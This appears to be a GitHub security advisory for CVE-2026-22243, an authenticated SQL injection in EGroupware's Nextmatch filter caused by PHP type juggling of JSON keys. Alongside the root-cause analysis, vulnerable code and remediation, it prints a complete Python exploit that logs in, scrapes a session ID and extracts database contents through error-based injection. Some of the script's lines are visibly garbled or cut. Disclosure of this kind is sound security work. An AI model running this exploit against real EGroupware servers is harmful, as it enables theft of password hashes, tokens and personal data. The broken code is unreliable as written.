GitHub Advisoryadvisory · Packagist

GHSA-rvxj-7f72-mhrx EGroupware has SQL Injection in Nextmatch Filter Processing

HIGH Published 2026-01-28 Modified 2026-01-28 Official page ↗
Aliases
CVE-2026-22243
Ecosystem
Packagist
Packages
egroupware/egroupware
Severity
High
CVSS vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Weaknesses
CWE-89
Reviewed
2026-01-28

Affected packages

• Packagist egroupware/egroupware: < 23.1.20260113 → fixed in 23.1.20260113 • Packagist egroupware/egroupware: >= 26.0.20251208, < 26.0.20260113 → fixed in 26.0.20260113

Description

Summary Critical Authenticated SQL Injection in Nextmatch Widget Filter Processing A critical SQL Injection vulnerability exists in the core components of EGroupware, specifically in the `Nextmatch` filter processing. The flaw allows authenticated attackers to inject arbitrary SQL commands into the `WHERE` clause of database queries. This is achieved by exploiting a PHP type juggling issue where JSON decoding converts numeric strings into integers, bypassing the `is_int()` security check used by the application. Details Root Cause Analysis The vulnerability exists in how the database abstraction layer (`Api\Db`) and high-level storage classes (`Api\Storage\Base`, `infolog_so`) process the `col_filter` array used in "Nextmatch" widgets. The application attempts to validate input using `is_int($key)` to determine if an array key represents a raw SQL fragment that should be trusted. However, when processing JSON-based POST requests, PHP's `json_decode` automatically converts numeric string keys (e.g., `"0"`) into native integers. Consequently, an attacker can send a JSON payload with an associative array containing numeric keys. The application interprets these keys as integers (`is_int` returns true) and blindly appends the associated values - containing malicious SQL - directly to the query. Vulnerable Code Locations 1. File: `sources/egroupware/api/src/Db.php` (Approx. Line 1776) Method: `column_data_implode` ```php // In function column_data_implode elseif (is_int($key) && $use_key===True) { if (empty($data)) continue; // VULNERABLE: $data is appended directly to SQL without sanitization $values[] = $data; } ``` 2. File: `sources/egroupware/api/src/Storage/Base.php` (Approx. Line 1134) Method: `parse_search` ```php // In function parse_search foreach($criteria as $col => $val) { // VULNERABLE: is_int() returns true for JSON keys like "0" if (is_int($col)) { $query[] = $val; } // ... } ``` PoC The vulnerability was on a local Docker instance and confirmed (read-only) on the public demo instance (demo.egroupware.net). Automated Exploit Script: The following script automates the login, exec_id extraction, and data exfiltration via Error-Based SQL Injection. ```python import requests import re import sys import urllib3 Suppress SSL warnings urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) CLI Configuration BASE_URL = sys.argv[1].rstrip('/') if len(sys.argv) > 1 else "http://localhost:8088/egroupware" LOGIN_USER = sys.argv[2] if len(sys.argv) > 2 else "sysop" LOGIN_PASS = sys.argv[3] if len(sys.argv) > 3 else "password123" session = requests.Session() session.verify = False session.headers.update({ "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36" }) def extract_form_inputs(html): inputs = {} matches = re.findall(r']+>', html) for match in matches: name_m = re.search(r'name="\'["\']', match) value_m = re.search(r'value="\'["\']', match) if name_m: name = name_m.group(1) value = value_m.group(1) if value_m else "" inputs[name] = value return inputs def login(): print(f"[*] Target: {BASE_URL}") login_url = f"{BASE_URL}/login.php" try: print("[*] Retrieving login form...") r_get = session.get(login_url, timeout=10) data = extract_form_inputs(r_get.text) data.update({ "login": LOGIN_USER, "passwd": LOGIN_PASS, "submitit": "Login", "passwd_type": "text" }) if 'cancel' in data: del data['cancel'] print(f"[*] Attempting login as: {LOGIN_USER}...") r_post = session.post(login_url, data=data, allow_redirects=True, timeout=15) if 'name="passwd"' in r_post.text and 'logout.php' not in r_post.text: print("[-] Login failed. Server returned login form.") return False print("[+] Login successful.") return True except Exception as e: print(f"[-] Critical error during login: {e}") return False def get_exec_id(): print("[*] Retrieving exec_id...") url = f"{BASE_URL}/index.php?menuaction=addressbook.addressbook_ui.index" try: r = session.get(url, timeout=10) match = re.search(r'etemplate_exec_id(?:&quot;|"|\\")\s*:\s*(?:&quot;|"|\\")([^&"\\]+)', r.text) if match: eid = match.group(1) print(f"[+] ID found: {eid}") return eid else: if 'name="passwd"' in r.text: print("[-] Session expired or login failed.") else: print("[-] exec_id pattern not found in source code.") except Exception as e: print(f"[-] Error retrieving ID: {e}") return None def run_query(eid, sql): full = "" url = f"{BASE_URL}/json.php?menuaction=EGroupware\\Api\\Etemplate\\Widget\\Nextmatch::ajax_get_rows" print(f"[*] Executing SQLi: {sql}") for offset in range(1, 201, 30): chunk_sql = f"SUBSTRING(({sql}), {offset}, 30)" payload = f"1=1 AND EXTRACTVALUE(1, CONCAT(0x7e, ({chunk_sql}), 0x7e))" post_data = { "request": { "parameters": [eid, {"start": 0, "num_rows": 1}, {"col_filter": {"0": payload}}] } } try: r = session.post(url, json=post_data, timeout=10) match = re.search(r"XPATH syntax error: '~(.*)~'", r.text) if not match: match = re.search(r"~([^~]+)~", r.text) if match: chunk = match.group(1) if "..." in chunk: chunk = chunk.replace("...", "") full += chunk if len(chunk) {res}") print("="*40 + "\n") ``` Proof of Verification on demo.egroupware.net: The script was executed against ther public demo to confirm exploitability in a production-like environment (read-only). Impact: Attackers with low-privileged access can fully compromise the database. This allows for: • Confidentiality Loss: Reading sensitive data (e.g., password hashes, session tokens, personal contact details, configuration secrets). • Integrity Loss: Modifying or deleting arbitrary data within the application. • Availability Loss: Potential to drop tables or corrupt data. Remediation 1. Input Validation (Whitelisting) Do not rely solely on `is_int()` for security decisions when handling external input, especially JSON data where keys can be numeric strings. Implement a strict whitelist (allowlist) of allowed column names for filtering in `Nextmatch` widgets.…

Related

Alias · CVE (1)

  • CVE-2026-22243 EGroupware is a Web based groupware server written in PHP. vulnerability

Weakness · CWE (1)

  • CWE-89 Improper Neutralization of Special Elements used in an SQL Command weakness

References